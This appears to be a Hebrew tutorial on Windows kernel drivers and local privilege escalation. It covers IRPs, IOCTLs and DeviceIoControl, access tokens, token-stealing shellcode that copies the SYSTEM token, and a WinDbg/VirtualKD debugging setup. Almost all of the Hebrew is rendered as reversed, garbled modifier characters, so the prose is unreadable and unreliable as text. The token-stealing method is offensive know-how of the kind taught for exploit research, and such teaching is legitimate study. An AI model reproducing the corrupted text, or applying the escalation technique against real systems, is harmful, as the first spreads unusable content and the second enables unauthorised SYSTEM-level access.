 ˞ˣˢ ˫˧˶˟˧˧˶ˡ ˣ˟˸˩ˮWDM - Windows Driver Model ˢ˶˩ˢ ˫˧˷˶ˣˡ ˫ˢˣ ,˪ˮ˶˵˟ ˫˧˴˶ ˣ˪˞˩ ˫˧˶˟˧˧˶ˡ .

 ˢ˟˶ˢ˟ ˸ˣ˵˯˰˸ˢˣ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˪ ˫˧˧˲˧˴˲˯ ˫˧ˮ˟ˬ ˪˷ ˸˧˯˥˧ ˢ˵ˣˬ˰"˪˲˦"  ˶ˣ˷˵ ˞˪˷

 ˫˧˶˟˧˧˶ˡ ˥ˣ˸˧˲˪ ˫˶ˠ˷ ˢˬ ,˶˟˧˧˶ˡˢ ˪˷ ˭˧˵˸ˢ ˡˣ˵˲˸˪ ˟ˣ˷˥ ˪˟˞ ,ˣˬ˴˰ ˶˟˧˧˶ˡˢ ˪˷ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲˪

˶ˢ˪ ˫˶ˠˣ ,ˡˣ˞ˬ ˢ˷˵ ˢˬ˧˷ˬ ˸ˣ˧ˢ˪ ˢ˟BSoD-.(˵ˡ˴˟ ˞˪ˣ) ˫ˢ˟ ˢˬ˷˞ˣˢ ˦˲ˣ˯ˣ˶˵˧˧ˬ˷ ˫˧ 

ˢ ˸ˣˬ˩ ˸˞ ˸˧˥˲ˢ˪ ˭˩ˣ ,˫˧˶˟˧˧˶ˡˢ ˸˟˧˸˩ ˸˩˞˪ˬ ˸˞ ˦˷˲˪ ˢ˶˦ˬ˟-BSoD- ˧ˡ˧ ˪˰ ˫˧ˬ˶ˠˮ˷ ˫˧

ˡ˴ ˫˧ˮ˶˴˧ ˧ˡ˧ ˪˰ ˫˧˟˸˩ˮ˷ ˫˧˶˟˧˧˶ˡ- :ˢ˷ˡ˥ ˸˧˷˸ ˣ˶˴˧ ˦˲ˣ˯ˣ˶˵˧˧ˬ ,˧˷˧˪˷WDF -Windows Drier 

Frameworks (Foundation) ˸˲˦ˣ˰ ˣˤˢ ˸˧˸˷˸ˢ . ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˪ ˡˣˬ˴ ˸ˣˮ˩˸˟ ˸ˣ˵˯˰˸ˢˢˬ ˢ˟˶ˢ

˟ ˢ˧ˢ˷-WDM:˫˧˟˧˩˶ ˧ˮ˷ˬ ˸˟˩˶ˣˬ ˣˤˢ ˸˧˸˷˸ˢ .˫˧˶˟˧˧˶ˡ ˪˷ ˶˸ˣ˧ ˥ˣ˦˟ˣ ˶˧ˢˬ ˥ˣ˸˧˲ ˸˶˷˲˞ˬˣ , 

¶ KMDF :Kernel Mode Driver Framework - ˟ ˫˧˴˶˷ ˫˧˶˟˧˧˶ˡ ˸˟˧˸˩˪ ˸˧˸˷˸-Kernel-Mode. 

¶ UMDF :User Mode Driver Framework - ˡ ˸˟˧˸˩˪ ˸˧˸˷˸˟ ˫˧˴˶˷ ˫˧˶˟˧˧˶-User-Mode ˢˬ ,

ˢ ˪˷ ˸ˣˮˣ˶˸˧ˢ ˪˩ˬ ˸ˣˮˢ˧˪ ˣˤ ˸˧˸˷˸˟ ˫˧˟˸˩ˮˢ ˫˧˶˟˧˧˶ˡ˪ ˶˷˲˞ˬ˷-User-Mode. 

˟ ˟˸˩ˮ ˶ˬ˞ˬˢ ˨˪ˢˬ˟ ˣ˟ ˭ˣˡˮ ˶˷˞ ˶˟˧˧˶ˡˢ-WDM ˫˪˰˸ˮˣ ˶ˬ˞ˬ˟ ˣˤˢ ˸˧˸˷˸˟ ˵˶ ˵˯˰˸ˮ ˨˩˪ ,

.˸ˣ˶˥˞ˢˬ 

 ˟˧˩˶ˢ˞˷ ˶ˢ ˞ˣˢ ˫˧˶˟˧˧˶ˡ ˭˧˟˪ ˸ˣ˧˴˵˧˪˲˞ ˭˧˟ ˸˶ˣ˷˵˸ ˪˰ ˧˞˶˥˞-I/O Manager  ˞ˣˢˣ ,(˧˪ˮ˶˵ ˟˧˩˶)

 ˯˧˯˟ ˪˰ ˸˰˴˟˸ˬ ˸˶ˣ˷˵˸ˢ .˫˧˧˦ˮˣˣ˪˶ˢ ˫˧˶˟˧˧˶ˡ˪ ˢ˷˵˟ˢ ˸˧˧ˮ˲ˢ ˪˰ ˧˞˶˥˞I/O Request Packets - 

IRPs -  ˸ˣ˦˵˲˪ ˣ˞ ,˸ˣ˧˸˷˶ ˸ˣ˦˵˲˪ ˫ˮˣ˶˵˰˟ ˫˧ˬˣˡ˷ ˫˧ˮ˟ˬWindows Messageˢ ˸˷˵˟ .-I/O 

˟ ˫˧˶˟˧˧˶ˡˢ ˪˩˪ ˸˶˟˰ˣˬ-Stack ˶˥˞˪ˣ ,˭ˣ˸˥˸˪ ˭ˣ˧˪˰ˢˬ ,˧˦ˮˣˣ˪˶ˢ  .ˢ˧˴˵˧˪˲˞˪ ˢ˶ˤ˥˟ ˸˰˲˰˲ˬ ˭˩ˬ
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ˢ ˡ˶ˣˬ˟) "˨ˣ˪ˢ" ˨˶ˡ˟ ˭ˢ ,ˢ˷˵˟ˢ ˨ˬ˯ ˪˰ ˸ˣ˪ˣ˰˲ ˰˴˟˪ ˪ˣ˩˧ ˶˟˧˧˶ˡ ˪˩-Stack ˸˶ˡˠˢ ˸˶ˤ˰˟ (

Dispatchers ˪-IRPs  ˸ˣ˷˵˟ ,ˢˬˠˣˡ˪) ˫˧ˬ˧ˣ˯ˬRead ,Close ,Create 'ˣ˩ˣˢ ˢ˪˰ˬ˟) "˶ˣˤ˥" ˨˶ˡ˟ ˭ˢˣ ,(-

Stackˠˢ ˸˶ˤ˰˟ (ˢ˧˴˵˧˪˲˞˪ ˢ˟ˣˠ˸ˢ ˸˞ ˶ˣ˯ˬ˪ ˸ˮˬ ˪˰ , ˸˶ˡCompletion Routines  ˨˪ˢˬ˟ ˢ˷˵˟˪

.ˢ˟ ˧ˮˣ˷˞˶ˢ ˪ˣ˲˧˦ˢ  ,ˣˢ˷˪˩ ˭˵˸ˢ˟ ˷ˬ˸˷ˢ˪ ˢ˴ˣ˶˷ ˢ˧˴˵˧˪˲˞ˢ ˭˧˟ ˶˷˵ˢ ˸˞ ˷˧˥ˬˬ ˞˟ˢ ˶ˣ˧˞ˢ

:ˣˬ˴˰ ˭˵˸ˢ˪ 

 

 ˸ˣ˷˵˟ ˭ˮ˷˧ ,˶ˣˬ˞˩I/O  ˸ˣ˷˵˟ ˣˬ˩ ,˭ˢ˟ ˨ˣˬ˸˪ ˪ˣ˩˧ ˶˟˧˧˶ˡ ˪˩˷ ˸ˣ˶ˡˠˣˬCreate ˢ˷)-Dispatcher 

˪ ˢ˞˧˶˵ ˸˰˟ ˳ˣ˶˧ ˭ˢ˪ ˧˦ˮˣˣ˪˶ˢ-CreateFile ˢ ˫˷ ˫˰-Device  ˣ˞ ,(ˣ˟ ˪˲˦ˬ ˶˟˧˧˶ˡˢ˷Close ˢ˷)-

Dispatcher ˪ ˢ˞˧˶˵ ˸˰˟ ˳ˣ˶˧ ˧˦ˮˣˣ˪˶ˢ-CloseHandle  ˫˰Handle ˪-Device  ˶ˣ˶˟ .(ˣ˟ ˪˲˦ˬ ˶˟˧˧˶ˡˢ˷

 ˸˧ˡˣ˰˧˧ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲˟ ˨ˣˬ˸˪ ˣ˴˶˧ ˫˧˶˟˧˧˶ˡˢ ˟ˣ˶ˣ ,˸ˣ˷˵˟ ˭˸ˣ˞˟ ˵ˣ˧ˡ˟ ˨ˣˬ˸˪ ˫˧˴ˣ˶ ˫˧˶˟˧˧˶ˡˢ ˪˩ ˞˪˷

 ˸ˮˬ ˪˰ .˫ˢ˪˷ˬ ˶˧ˡˠˢ˪ ˭˸˧ˮ ,˶˟˧˧˶ˡˢ ˪˷ ˸˧˯˧˯˟ˢ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ˢ ˸˞ ˟˧˥˶ˢ˪IOCTLs - I/O Controls .

 ˪˧˟˵ˢ˪ ˭˸˧ˮ ,˸ˬ˧ˣ˯ˬ ˢˡ˧ˬ˟IOCTLs ˪-Windows Message ˶˧˟˰ˢ˪ ˭˸˧ˮ˷ ˫˧ˣ˯ˬ ˨˶˰˟ ˶˟ˣˡˬ ˦ˣ˷˲ :

˟ ˷ˬ˸˷ˢ˪ ˸ˮˬ ˪˰ .˷˞˶ˬ ˸˶ˡˠˣˬ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ ˰˴˟˧˷ ˸ˮˬ ˪˰ ˶˟˧˧˶ˡ˪-IOCTL ˢˬ-Userland ,

˲˟ ˷ˬ˸˷ˮ ˢ˧˴˵ˮˣDeviceIoControl:˞˧ˢ ˢ˪˷ ˢˬ˧˸˥ˢ˷ , 

BOOL WINAPI DeviceIoControl (  

  _In_        HANDLE       hDevice ,  

  _In_        DWORD        dwIoControlCode ,  

  _In_opt_    LPVOID       lpInBuffer ,  

  _In_        DWORD        nInBufferSize ,  

  _Out_opt_   LPVOID       lpOutBuffer ,  

  _In_        DWORD        nOutBufferSize ,  

  _Out_opt_   LPDWORD      lpBytesReturned ,  

  _Inout_opt_ LPOVERLAPPED lpOverlapped  

);  

:˫˧˟ˣ˷˥ˢ ˫˧˦ˮˬˣˠ˶˞ˢ ˸˞ ˢ˶˴˵˟ ˶ˣ˵˯ˮ 

¶ hDevice ˞ˣˢ s-handle ˪-device ˣ˸˧˞ ˢ˴˶ˮ ˶˷˵˸˪ .ˠ˧˷ˮ ˣ˸ˣ˞ ˢ˞˧˶˵ˬ ˪-CreateFile ˫˰ ˫˷ s-

device. 

¶ dwIoControlCode ˞ˣˢ ˡˣ˵ˢ ˪˷ s-IOCTL ˣ˸ˣ˞ ˢ˴˶ˮ ˶˟˧˧˶ˡˢ˷ ˰˴˟˧. 

¶ lpInBuffer ˞ˣˢ ˰˧˟˴ˬ ˶˲˞˟˪ x˟ ˫˧˞˴ˬˮ ˪˩ ˫˧˩˶˰ˢ ˢ˴˶ˮ˷ ˵˲˯˪ ˦˪˵˩ ˪-IOCTL. 

¶ lpOutBuffer ˞ˣˢ ˰˧˟˴ˬ ˶˲˞˟˪ x˟ ˶˟˧˧˶ˡˢ ˷ˬ˸˷˧ ˪˰ ˸ˮˬ ˶˧ˤ˥ˢ˪ ˢ˟ˣ˷˸ ˷ˬ˸˷ˬ˪. 
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˟ ˵ˣ˯˰ˮ˷ ˶˟˧˧˶ˡˢ ˫˰ ˸˶ˣ˷˵˸ˢ ˪˩ ˸˞˪ ˸ˣ˞˧˶˵ ˸˶ˤ˰˟ ˰˴˟ˮ ˨˷ˬˢ˟ ˣ-DeviceIoControl. ˪ ˡˣˠ˧ˮ˟-

main  ˸ˣ˧˴˵˧˪˲˞ˬ ˫˧˪˧ˠ˶ ˣˮ˞ ˣ˧˪˞User-Modeˢ ˫˧˶˟˧˧˶ˡ˟ ,-"main"  ˞˶˵ˮDriverEntry. 

" ˫˧˶ˬ˞ˬˢ ˸˞ ˞ˣ˶˵˪ ˭˸˧ˮ ,˫˧˶˟˧˧˶ˡ ˞˷ˣˮ˟ ˸˲˯ˣˮ ˢ˞˧˶˵˪Rootkits - ) ˧˶ˣ˞ ˸˞ˬ "'˟ ˵˪˥Zerith (

ˢ ˭ˣ˧˪˧ˠ˟ ˫˯˶ˣ˲˷-7 ˣ ,˭˧ˤˠˬˢ ˪˷-"Kernel-Mode Rootkits ˸˞ˬ "vbCrLf ˢ ˭ˣ˧˪˧ˠ˟ (˟ˢ˪ ˧˶ˣ˞)-21  ˪˷

.˭˧ˤˠˬˢ 

Elevation of Privileges 

˪ ˢ˵ˣ˪˥ˢ ˪˷ ˸˧˯˧˯˟ ˢˮ˟ˢ ˣˮ˪ ˷˧ ˢˤˢ ˟˪˷˟-User-Mode x-Kernel-Modeˢˬ ˸˶ˣ˷˵˸ˣ ˫˧˶˟˧˧˶ˡ ,-

User-Mode  ˫˸˧˞-˟Windows˲˵˸ˢˢ ˡ˴ˢˬ ˣˮ˸ˣ˞ ˭˧˧ˮ˰ˬ ˪ˮ˶˵ˢ˷ ˢ˟˧˯˟ ˵ˣ˯˰ˮ ,ˢˤˢ ˱˧˰˯˟ ..˧ 

 ˸˷˪ˣ˥ ˸˶ˤ˰˟ ˫˞ ˭˧˟) ˢˮˣ˩ˬ˟ ˡˣ˵ ˳˧˶ˢ˪ ˫˧˪ˠˣ˯ˬ ˣˮ˞ ˣ˟˷ ˟˪˷˟RCE  ,(˸˧ˤ˧˲ ˢ˷˧ˠ ˸˶ˤ˰˟ ˦ˣ˷˲ ˣ˞

 ˸ˣ˷˶ˣˡ˷ ˸ˣ˪ˣ˰˲ ˰˴˟˪ ˢ˴˶ˮ ˫˞ .˸ˣ˪˟ˠˣˬ ˣ˧ˢ˧ ˭˧˧ˡ˰ ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˪˷ ˸ˣ˞˷˶ˢˢ˷ ˥˧ˮˢ˪ ˶˧˟˯

.ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˪˷ ˸ˣ˞˷˶ˢˢ ˸˞ ˫˧˴˰ˢ˪ ˨˶ˡ ˞ˣ˴ˬ˪ ˨˶˦˴ˮ ,˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ 

˞˷˶ˢˢ ˸˪˰˟ ˸ˣ˷˧ˢ ˶˸ˣ˧˟ ˸ˣˢˣ˟ˠˢ ˸ˣ-˟Windows  ˞˧ˢNT AUTHORITY\SYSTEM ˸ˣ˞˷˶ˢ ˣˤ ˸ˣ˷˧˪ ,

˶˸ˣ˧ ˸ˣˢˣ˟ˠ ˪ˬ-Administrator ˷ ˧˶˦˯˧'ˠ˶ ˸ˣ˥˸˲ˬ ˶˲˯ˬ ˷˧ ,ˢˬˠˣˡ˪)-Administrator  ˸˷ˠ˪ ˪ˣ˩˧ ˞˪

˩ ˳ˣ˶˧ ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˫˞ .(˫ˢ˧˪˞-SYSTEMˢ ˸ˣ˪˟ˠˬ˟) ˰˴˟˪ ˪˩ˣˮ ˞˪˷ ˸ˣ˪ˣ˰˲ ˣ˧ˢ˧ ˞˪ ,-userland ,

˪ˣ (˭˟ˣˬ˩˟ ˳˶˷ ˢˬ ˪˩ ,ˣˤ ˢ˶˦ˬ ˠ˧˷ˢ˪ ˫˧˯ˮˬ ˣˮ˞ ˶˷˞˩ .ˢˮˣ˩ˬˢ ˪˰ ˸˦˪˥ˣˬ ˢ˦˧˪˷ ˠ˧˷ˮ ˢ˷˰ˬ-

Kernel-Mode  ˸˧˪˞ˡ˧˞ ˡˣ˞ˬ ˢ˶˦ˬ ˞ˣˢ- ˟ ˳˶˷ ˡˣ˵˪ ,ˣˮ˧˧˴˷ ˧˲˩-Kernel-Mode  ˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ ˷˧

 ˡ˧˶ˣˢ˪ ˤ˞ ,˸ˮˠˣˬ ˸˟ˣ˸˩ˢ ˫˞ˣ) ˭ˣ˶˩˧ˤ ˸˟ˣ˸˩ ˪˩ ˨ˣ˸˪ ˟ˣ˸˩˪ˣ ˞ˣ˶˵˪ ,˶˸˧ˢ ˭˧˟ ,ˣ˪ ˸ˣ˶˷˲˞ˬ˷ ,ˡˣ˞ˬ

˟ ˳˶˷ ˟˧˩˶˟ ˢ˴˶˲ ˞ˣ˴ˬ˪ ˪˩ˣˮ ˫˞ ˭˩˪ ,(ˢ˪ˣ˰˲ˢ ˸˞ ˰˴˟˪ ˤ˞ˣ ˸ˣˮˠˢˢ ˸˞-Kernel-Mode  ˪ˮ˶˵˟ ˣ˞)

 ˭ˣ˶˩˧ˤ˟ ˣˢ˷˪˩ ˫ˣ˵ˬ˟ ˸ˣ˶ˡˠˣˬ ˭ˢ ˫ˠ ˭˩˷) ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˪˷ ˸ˣ˞˷˶ˢˢ ˸˞ ˸ˣˮ˷˪ ˪˩ˣˮ ,(ˣˬ˴˰-  ˪˰ ˡˣ˰

.(˨˷ˬˢ˟ ˨˩ 

 ˞˶˵ˮ ˶˸ˣ˧ ˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ ˠ˧˷ˢ˪ ˸ˮˬ ˪˰ ˢ˷˪ˣ˥ ˪ˣ˴˧ˮ ˪˷ ˢ˷˰ˬˢPrivilege Escalation ˸ˣ˷˪ˣ˥˪ˣ ,

 ˸ˣ˷˪ˣ˥ ˟ˣ˶˪ ˫˧˞˶ˣ˵ ˢˤ ˢ˷˰ˬ ˸ˣ˶˷˲˞ˬ ˶˷˞EoP - Elevation of Privileges ˪˴ˮ˪ ˢ˧ˢ˧ ˭˸˧ˮ ,˟ˣ˶˪ .

 ˥ˮˣˬˢ ˫ˠ ˳ˣ˲ˮ ˭˩˪ ,ˢˮˣ˩ˬˢ ˪˰ ˡˣ˵ ˳˧˶ˢ˪ ˸˪ˣ˩˧ ˣˮ˪ ˷˧ ˶˟˩ ˣ˟˷ ˟˴ˬ˟ ˵˶ ˣ˪˞˩ ˸ˣ˷˪ˣ˥Local Privilege 

Escalation. 

Access Tokens 

ˮ˦ˣ˲ˢ ˸˞ ˣˮ˟ˢ˷ ˶˥˞˪ ˸ˣ˷˪ˣ˥˟˷ ˪˞˧˴EoP ˭˸˧ˮ ˡ˴˧˩ ˭˧˟ˢ˪ ˪˧˟˷˟ .˭ˢ˪˷ ˪ˣ˴˧ˮˢ ˭˲ˣ˞ ˸˞ ˭˧˟ˢ˪ ˢ˯ˮˮ ,

ˢ˷˪˩ ˶˟˧˧˶ˡ˟ ˢ˷˪ˣ˥ ˪˴ˮ˪ˣ ˨˶˦˴ˮ ,ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˪˷ ˸ˣ˞˷˶ˢ˪ ˢ˧˴˪˵˯˞ ˰˴˟˪ ˸ˮˬ ˪˰ ,ˢˬˠˣˡ˪ ,

 ˡ˴˧˩ ˭˧˟ˢ˪ ˫ˡˣ˵Windows ˸ˣ˞˷˶ˢ ˸˞ ˪ˢˮˬˣ˧ .˨˧˪ˢ˸ˢ ˪˷ 
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˞˟ ˸ˣ˪ˢˣˮˬ ˣ˪˷ ˸ˣ˞˷˶ˢˢ ,˸˩˶˰ˬ˪ ˶˟ˣ˥ˬ ˷ˬ˸˷ˬ ˶˷˞˩ ˫˷˟ ˦˵˧˧˟ˣ˞ ˸ˣ˰˴ˬAccess Token .

 ˢˢˤˬˢ ˣˬ˩ ,˷ˬ˸˷ˬˢ ˪˰ ˸˧˸˥˦˟˞ ˸ˣ˟˧˷˥ ˪˰˟ ˰ˡ˧ˬ ˪˧˩ˬ ˞ˣˢˣ ,˧˪ˮ˶˵ ˦˵˧˧˟ˣ˞ ˞ˣˢ ˢˤˢ ˦˵˧˧˟ˣ˞ˢ

) ˣ˪˷ ˧ˡˣ˥˧˧ˢSID - Security Identifier ˶˴ˣˮ ˨˧˪ˢ˸ ˶˷˞˩ .ˣ˪˷ ˸ˣ˞˷˶ˢˢˣ ,˭ˢ˧˪˞ ˨˧˧˷ ˞ˣˢ˷ ˸ˣ˴ˣ˟˵ˢ ,(

ˢ ˪˷ ˵˸˰ˢ ˪˟˵ˬ ˞ˣˢ ,ˣˢ˷˪˩ ˷ˬ˸˷ˬ ˧ˡ˧ ˪˰-Access Token ˢˣ ,˷ˬ˸˷ˬ˪ ˨˧ˣ˷ˬˢ-Access Token  ˪˷

 ˣ˪˷ ˸ˣ˷˧ˠˢ ˸˞ˣ ˰˴˟˪ ˪ˣ˩˧ ˨˧˪ˢ˸ˢ˷ ˸ˣ˪ˣ˰˲ˢ ˸˞ ˪˧˟ˠˢ˪ ˸ˮˬ ˪˰ ˸˩˶˰ˬˢ ˸˞ ˷ˬ˷ˬ ˨˧˪ˢ˸ˢ

.˫˧˥˦˟ˣ˞ˬ ˫˧˦˵˧˧˟ˣ˞˪ 

 ˰ˣ˴˧˟˪ ˢ˦ˣ˷˲ ˨˶ˡPrivilege Escalation ˢ ˸˟˧ˮˠ ˞˧ˢ-Access Token  ˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ ˪˰˟ ˨˧˪ˢ˸ ˪˷

ˣ ,ˣˮ˪˷ ˨˧˪ˢ˸ˢˬ ˶˸ˣ˧ ˸ˣ˩˶˰ˬ ˪˩˟ .ˣˮ˪˷ ˨˧˪ˢ˸˪ ˣ˸˵˸˰ˢWindows ˨˧˪ˢ˸ˢ ,System ˢ ˪˰˟ ˞ˣˢ-PID 

 (˨˧˪ˢ˸ˢ ˪˷ ˧ˡˣ˥˧˧ ˢˢˤˬ)4 ˸ˣ˞˷˶ˢ˟ (˫˸˯ˢ ˭ˬ) ˳˶ˣ ,SYSTEM˟˷ ˭ˣˣ˧˩ˬ .-Kernel-Mode  ˣˮ˪ ˷˧

ˢ ˸˶ˤ˰˟ ,˪˩ˣˮ ,˭ˣ˶˩˧ˤˢ ˟˥˶ˬ ˪˩˪ ˸˷ˠ˪ ˸ˣ˞˷˶ˢ-shellcode ˢ ˸˞ ˞ˣ˴ˬ˪ ,˫˧˞˸ˬˢ-Access Token  ˪˷

System ˢ ˨ˣ˸)ˢˣ ˨˧˪ˢ˸ˢ ˪˷ ˫˷ˢ˷ ˢˡ˟ˣ˰ˢ ˪˰ ˸ˣ˩ˬ˸˯-PID ˢ ˸˞ ˣ˟ ˱˧˪˥ˢ˪ˣ (˫˧˰ˣ˟˵ ˡ˧ˬ˸ ˣ˪˷-

Access Token ˪ ˪˟ˠˣˬ ˷ˬ˸˷ˬˬ ˨ˣ˲ˢˮ ˨˩ˣ ,ˣ˪˷ ˸ˣ˞˷˶ˢˢ ˸˞ ˸ˣ˪˰ˢ˪ ˢ˴˶ˮ˷ ˨˧˪ˢ˸ˢ ˪˷-SYSTEM. 

 ˸˟˧ˮˠ ˫˞˶ˣ˵ ˣˮ˶˞˧˸˷ ˢ˦˧˷˪Token  ˣ˞)Token Stealing ˸ˮˬ ˪˰ ˶ˬ˞ˬ˟ ˢ˟ ˷ˬ˸˷ˮ˷ ˢ˦˧˷ˢ ˣˤˣ ,(

 ˰˴˟˪PE  .ˮ˷˧.˭˞˩ ˶˞˸ˮ ˞˪˷ ˸ˣ˲˯ˣˮ ˫˧˩˶ˡ ˭ 

 ˥˸˲ˮ ,ˣˤˢ ˢ˦˧˷ˢ ˨ˬ˯ ˪˰shellcode ˢ ˸˞ ˥˸˲˪ ˸ˮˬ ˪˰ .˶ˬ˞ˬˢ ˨˶ˣ˞˪ ˷ˬ˸˷ˮ ˣ˟-shellcode  ,ˣˮ˪˷

 ˫˧˧˦ˮˣˣ˪˶ˢ ˫˧ˮ˟ˬˢ ˸˞ ˞ˣ˴ˬ˪ ˪˩ˣˮ˷ ˸ˮˬ ˪˰) ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˸˞ ˠ˟ˡ˪ ˪˩ˣˮ ˨˧˞ ˭˧˟ˢ˪ ˫ˡˣ˵ ˣˮ˧˪˰

ˢ ˸˞ ˟ˣ˸˩˪ˣ-shellcode.( 

Kernel Debugging 101 

 ˢ˞˶ˮ˩ ˠˣ˟˧ˡˢ ˞ˣˢ ˪ˮ˶˵ˢ ˫˪ˣ˰˟ ˫˧˵˯˰˸ˬ˷˩ ˶ˠ˸˞ˬ ˧˩ˢ ˶˟ˡˢ˷-  ˸ˣ˧˴˵˧˪˲˞˪ ˡˣˠ˧ˮ˟User-Mode ,

˟ ˫˧˴˶˷ ˫˧˟˧˩˶ ˶ˣ˟˰ ˶˟ˡ ˣ˸ˣ˞ ˸ˣ˷˰˪ ˭˸˧ˮ ˞˪ ,˸ˣ˴˶ ˭ˢ ˢ˟ ˢˮˣ˩ˬ ˢ˸ˣ˞ˬ ˸ˣ˦˷˲˟ ˠ˟ˡ˪ ˭˸˧ˮ˷-

Kernel-Mode.˪ˮ˶˵ˢ ˪˪˩ ˪˷ ˢ˴˶ˢˢ ˸˶˧˴˰ ˣ˷ˣ˶˧˲ ˪ˮ˶˵ˢ ˪˷ ˠˣ˟˧ˡ˷ ˭ˣˣ˧˩ˬ ˸˞ˤˣ , 

˲ ˶˲˯ˬ ˷˧ ,ˣˮ˪ˤˬ˪ ˢˮˣ˩ˬ˩ ˷ˬ˷˸˷ ˸˧˪˞ˣ˦˶˧ˣ ˢˮˣ˩ˬ ˸ˬ˶ˢ :˭ˣ˶˵˰ ˣ˸ˣ˞ ˫˪ˣ˩˪ .˧˪ˮ˶˵ ˠˣ˟˧ˡ˪ ˸ˣˮˣ˶˸

 ˸ˣ˰˴ˬ˞˟ ˢ˟ ˦ˣ˪˷˪ ˣˮ˪ ˶˷˲˞˸˷ ˧ˢ˷˪˩ ˨˶ˡ˟ ˢˮˣ˩ˬ˪ ˶ˣ˟˧˥ ˰ˣ˴˧˟ˣ ,˫˧ˠ˟ˡˬ ˣˮ˞˷Debugger ˸ˮˬ ˪˰ .

 ˰˴˟˪Kernel Debugging ˨˶˦˴ˮ ,Debugger  ˠ˟ˡ˪ ˸ˣ˪ˣ˩˧ ˪˰˟ring-0˟ ˶˥˟ˮ ˭˩˪ ,-WinDbg ˟ ˰˧ˠˬ˷)-

Windows Driver Kit˟ ˷ˬ˸˷ˮ .(-VMWare Workstation ˩-hypervisor ) ˣˮ˪˷hypervisor  ˥ˮˣˬ ˞ˣˢ

 ˸˧˪˞ˣ˦˶˧ˣ ˢˮˣ˩ˬ ˣ˸˶ˤ˰˟ ˶ˣ˴˧ˮˣ ,(˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣˮˣ˩ˬ ˳˧˶ˢ˪ˣ ˶ˣ˴˧˪ ˶˷˲˞ˬˢ ˟˧˩˶ ˶ˣ˞˧˸˪ ˷ˬ˷ˬˢ

ˢ˴˧˶ˬˢWindows 7 SP1 32bit ˸˶ˤ˰˟ ˰˴˟ˮ ˢˮˣ˩ˬˢ ˫˰ ˸˶ˣ˷˵˸ˢ ˸˞ .VirtualKD. 

VirtualKD ˸ ˢˮ˧ˢˡˣ˵ ˸ˮ˩- ˧˶˴ˣˬ ˫˰ ˟˦˧ˢ ˸˵˷ˬˬ˸ˬ˷ ˥ˣ˸˲VMWare x-VirtualBox ˸˞ ˸˩˲ˣˢˣ ,

 ˧˲˷ ˭˰ˣ˦ ˶˴ˣˬˢ ˪˷ ˧ˬ˷˶ˢ ˶˸˞ˢ) ˸˧˸ˣ˰ˬ˷ˬ ˶˸ˣ˧ ˶˧ˢˬ˪ ˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣˮˣ˩ˬ ˭˸ˣ˞ ˪˷ ˧ˮ˪˶˵ˢ ˠˣ˟˧ˡˢ

45 ˫˧ˡ˧˶ˣˬ˷ ˶˥˞˪ .(˫˧˶˥˞ ˸ˣˮˣ˶˸˲ ˸ˬˣ˰˪ ˧˸ˣ˰ˬ˷ˬ ˪ˡ˟ˢ ˶˩˧ˮ ˪˟˞ ˸˞ˤˢ ˢˮ˰˦ˢ ˸˞ ˧˸˵ˡ˟ ˞˪ ,
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˞ ˫˧˴˪˥ˬˣ ˢ˸ˣ˞ ˫ˢ˧ˮ˧˟ ,˫˧˴˟˵ ˶˲˯ˬ ˢ˟ˣ ˢ˧˧˵˧˸ ˸˪˟˵˸ˬ ,ˢ˸ˣreadme.txt ˷ˬ˸˷ˢ˪ ˡ˴˧˩ ˶˧˟˯ˬ˷ ,

˟ˢˮ˩ˣ˸.˷ˣˬ˧˷ˢ ˸˞ ˢ˶˴˵˟ ˶ˣ˵˯ˮ ,˸˞ˤ ˪˩˟ . 

 

 ˫˷˟ ˢ˧˧˵˧˸ ˸ˮˬˣ˯ˬ ,ˢ˪˰ˬ˪ ˠ˴ˣˬˢ ˨˯ˬˢ ˫ˣ˪˴˸˟target ˢˮˣ˩ˬ˪ ˵˧˸˰ˢ˪ ˷˧ ˢ˧˧˵˧˸ˢ ˸˞ .

 ˸˞ ˢ˟ ˳˧˶ˢ˪ˣ ,˸˧˪˞ˣ˦˶˧ˣˢvminstall.exeˢ ˸˞ ˢ˟˩ˮ ,ˢˮ˵˸ˢˢ ˶˥˞˪ . ˭˪ˢ˪) ˢˮˣ˩ˬ- s-guest ˳˧˶ˮˣ (

 ˳˟ˣ˵ˢ ˸˞vmmon.exe ˢ ˸˞ ˫˧˴˧˶ˬ ˣˮ˞ ˣ˧˪˰ˣ ˢˮˣ˩ˬˢ ˸˞ ˭˯˥˞ˬ˷ ˟˷˥ˬ˟-hypervisor  ˭˪ˢ˪)- s-

host ,ˣˮ˪ ˠ˴ˣˬ˷ ˭ˣ˪˥˟˷ ˞ˡˣˣˮ .("Start debugger automatically" ˢˣ ˭ˬˣ˯ˬ-Debugger  ˞ˣˢ

windbg.exe ˪˰ ˳˥˪ˮ ."Debugger tŀǘƘΧ "˸ˮ˪ ˪˧˟ˣˬ ˞ˣˢ˷ ˞ˡˣˣˮˣ˭ˣ˩ˮˢ ˟˧: 
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 ,ˢ˶ˣ˷˩ ˰˴ˣ˟ ˪˩ˢ ˫˞ .ˢˮˣ˩ˬˢ ˸˞ ˵˧˪ˡˮ ,˭˩ˬ ˶˥˞˪windbg.exe  ˪˞ˬ˷ˬˣ ˸˧˦ˬˣ˦ˣ˞ ˥˸˲˧ˢ˪ ˶ˣˬ˞

 ˫ˣ˷˶ ˢ˧ˢ˧ ˣ˪˷ ˢˡˣ˵˲ˢ ˸˶ˣ˷˪άƪŘҔέ ˟˴ˬ˟ ˫˧˞˴ˬˮ ˣˮ˞˷ ˨˩ ˪˰ ˣˮ˪ ˰˧˶˸ˬ ˶˷˞ ,Kernel Debugging ,

